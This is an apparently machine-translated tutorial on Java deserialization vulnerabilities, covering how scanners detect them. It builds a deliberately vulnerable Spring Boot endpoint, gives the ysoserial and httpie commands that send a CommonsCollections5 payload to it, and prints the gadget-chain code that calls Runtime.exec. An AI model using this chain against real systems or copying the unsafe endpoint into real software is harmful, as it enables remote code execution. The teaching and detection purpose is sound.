Take you to master java deserialization vulnerabilities and their detection

Keywords: Java Database security hole

Absrtact: This paper will first introduce the principle of java deserialization vulnerability, and then introduce how security tools detect and scan such vulnerabilities.

This article is shared from Huawei cloud community< java deserialization vulnerability and its detection >, author: alpha1e0.

1 Introduction to Java deserialization

java deserialization is one of the key research fields in the security industry in recent years. Such vulnerabilities are found in common containers and libraries such as Apache common collections, JBoss and WebLogic. Moreover, this type of vulnerability is easy to exploit and cause great damage, so it has a wide impact.

This article will first introduce the principle of java deserialization vulnerability, and then introduce how security tools detect and scan such vulnerabilities.

1.1 what is deserialization

Java serialization refers to the process of converting Java objects into byte sequences. The serialized byte data can be saved in files and databases; Java deserialization refers to the process of restoring byte sequences to Java objects. As shown in the figure below:

Serialization and deserialization are implemented through the ObjectInputStream.readObject() and ObjectOutputStream.writeObject() methods.

In Java, if any class wants to serialize, it must implement the java.io.Serializable interface, for example:

public class Hello implements java.io.Serializable {
    String name;
}

java.io.Serializable is actually an empty interface. In java, the only function of this interface is to make a query for a class   sign   Let jre determine that this class is serializable.

At the same time, java supports defining the following functions in classes:

private void writeObject(java.io.ObjectOutputStream out)
       throws IOException
private void readObject(java.io.ObjectInputStream in)
       throws IOException, ClassNotFoundException;

These two functions are not java.io.Serializable interface functions, but agreed functions. If a class implements these two functions, ObjectInputStream.readObject() and ObjectOutputStream.writeObject() will actively call these two functions during serialization and deserialization. This is also the root cause of deserialization

For example:

public class Hello implements java.io.Serializable {
    String name;
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        Runtime.getRuntime().exec(name);
    }
}

This class will execute commands during deserialization. If we construct a serialized object with name as malicious command, the malicious command will be executed during deserialization.

In the process of deserialization, the attacker can only control "data" and cannot control how to execute it. Therefore, the attack purpose must be realized by using the specific scenarios in the attacked application. For example, in the above example, there is a serializable class (Hello) that executes commands, and the attack is realized by using the command execution scenarios in the readObject function of this class

1.2 example reproduction of deserialization vulnerability

Here we construct a vulnerable shooting range for vulnerability replication test: use spring boot to write an application that can receive http data and deserialize it.

use   https://start.spring.io/   Generate a spring boot application and select Maven Project and java8

Download to local, import IDE, modify   pom.xml   Add Apache Commons Collections 3.1 dependency (there is a deserialization vulnerability in this version)

<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.1</version>
</dependency>

Modify DemoApplication.java to the following code

package com.example.demo;

import java.io.IOException;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.GetMapping;

@SpringBootApplication
@RestController
public class DemoApplication {
	public static void main(String[] args) {
		SpringApplication.run(DemoApplication.class, args);
	}

	@GetMapping("/hello")
	public String hello() {
		return "hello world";
	}

    // Deserialization interface
	@PostMapping("/rmi")
	public String rmi(HttpServletRequest request) {
		try {
			ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
			Object obj = (Object) ois.readObject();
			return "unmarshal " + obj.getClass().getName() + " ok";
		} catch (ClassNotFoundException | IOException e) {
			return "unmarshal failed";
		}
	}
}

At this point, we have completed a verification range with Apache common collections vulnerability and started the range application

We use ysoserial to generate attack payload:

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "calc.exe" > poc

Then use httpie to send attack payload (poc)

http post http://127.0.0.1:8080/rmi < poc

At this time, you can see the command execution in poc

1.3 deserialization vulnerability analysis

In the 1.2 example, we used ysoserial's CommonsCollections5 payload. In this section, we analyze this poc

public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(  // Executing the transform of the "chain" class will call the transformer to execute the command using reflection
            new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),   // Here is the command we entered calc.exe 
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);  // If the key entered by the get interface of this class cannot be found, it will call the transform function to trigger command execution

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");  // The toString of this class will eventually call lazyMap.get

    BadAttributeValueExpException val = new BadAttributeValueExpException(null); // For the final deserialized class, readObject will call entry.toString
    Field valfield = val.getClass().getDeclaredField("val");
    Reflections.setAccessible(valfield);
    valfield.set(val, entry);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 

    return val;
}

The object that can be finally deserialized is javax.management.BadAttributeValueExpException. The readObject method is provided in this class. The problem is

val = valObj.toString();

valObj here is TiedMapEntry(lazyMap, "foo"), the toString method of this class

public String toString() {
    return this.getKey() + "=" + this.getValue();
}

Where this.getValue is

public Object getValue() {
    return this.map.get(this.key);
}

this.map is lazyMap = lazyMap.decorate (innermap, transformer chain), in lazyMap

public Object get(Object key) {
    if (!super.map.containsKey(key)) {  // Call transform when the key cannot be found
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

When the key is not found, this.factory.transform(key) is called

this.factory is the execution chain including payload constructed for us   transformerChain   The transformer will eventually execute the command through reflection.

2. Java deserialization vulnerability detection

In the principle introduction in 1, we can see that the deserialization vulnerability needs to rely on the execution chain to complete the attack payload execution. Due to the characteristics of deserialization vulnerabilities, vulnerability scanning tools generally focus on the detection of known vulnerabilities, while the ability of security tools for the detection of unknown vulnerabilities is very limited, which generally requires professionals to find them through security audit, code audit and so on.

The java deserialization vulnerability relies on two factors:

  1. Does the application have a deserialization interface
  2. Does the application contain vulnerable components

Therefore, the corresponding vulnerability scanning tool also needs to detect according to these two factors.

2.1 white box tool detection

The white box code audit tool can find out whether there are serialization operations in the call chain:

  • The entrance of the invocation chain is different from the different frames, for example, in the 1.2 example, the entrance of the chain is called spring-boot controller.
  • Once the serialization operation ObjectInputStream.readObject() is found in the call chain, the interface has serialization operation

However, relying only on the above information is not enough to judge whether there are vulnerabilities. It is also necessary to judge whether there are three-party dependencies of * execution chain * * in the code. In java, the pox.xml build.gradle file is generally analyzed to analyze whether there are vulnerable components.

2.2 black box Vulnerability Scanner Detection

The detection principle of web vulnerability scanner is different from that of white box tool.

First, the vulnerability scanner needs to identify the deserialization request. Here, it should be noted that web vulnerability scanning cannot directly find the deserialization interface by crawling. Therefore, it is often necessary to identify the deserialization interface in conjunction with other web vulnerability scanner components (such as proxy components), as shown in the figure below

Nowadays, web vulnerability scanners provide proxy components to discover http requests of applications, and crawler components can trigger requests to enter proxy components through the foreground page; However, in the API scenario, testers still need to call the API to generate http request data.

After intercepting the http request data, the proxy component can judge whether a request is a serialized request in two ways:

  1. The content type of the http request. Specifically, ContentType: application/x-java-serialized-object is the request header of the serialization request
  2. Check whether the beginning of the request data is 0xaced. Sometimes the serialization request does not have the correct content type. At this time, you need to judge whether it is a serialization request according to the data

When determining that an interface is a serialized interface, the scanner will send a probe payload to determine whether the interface has a deserialization vulnerability. The attack payload here is similar to that used in section 1.2 ysoserial   Because it is impossible for the tool to see the echo in most cases (there is no attack execution result for the http returned data), it can only perform blind injection, that is, send a command such as sleep 10 to judge whether there is a vulnerability according to the response time.

Welfare at the end of the article: Huawei cloud vulnerability scanning service VSS   Basic limited time free experience > > >

Click focus to learn about Huawei cloud's new technologies for the first time~

Posted by DuNuNuBatman on Tue, 19 Oct 2021 18:22:07 -0700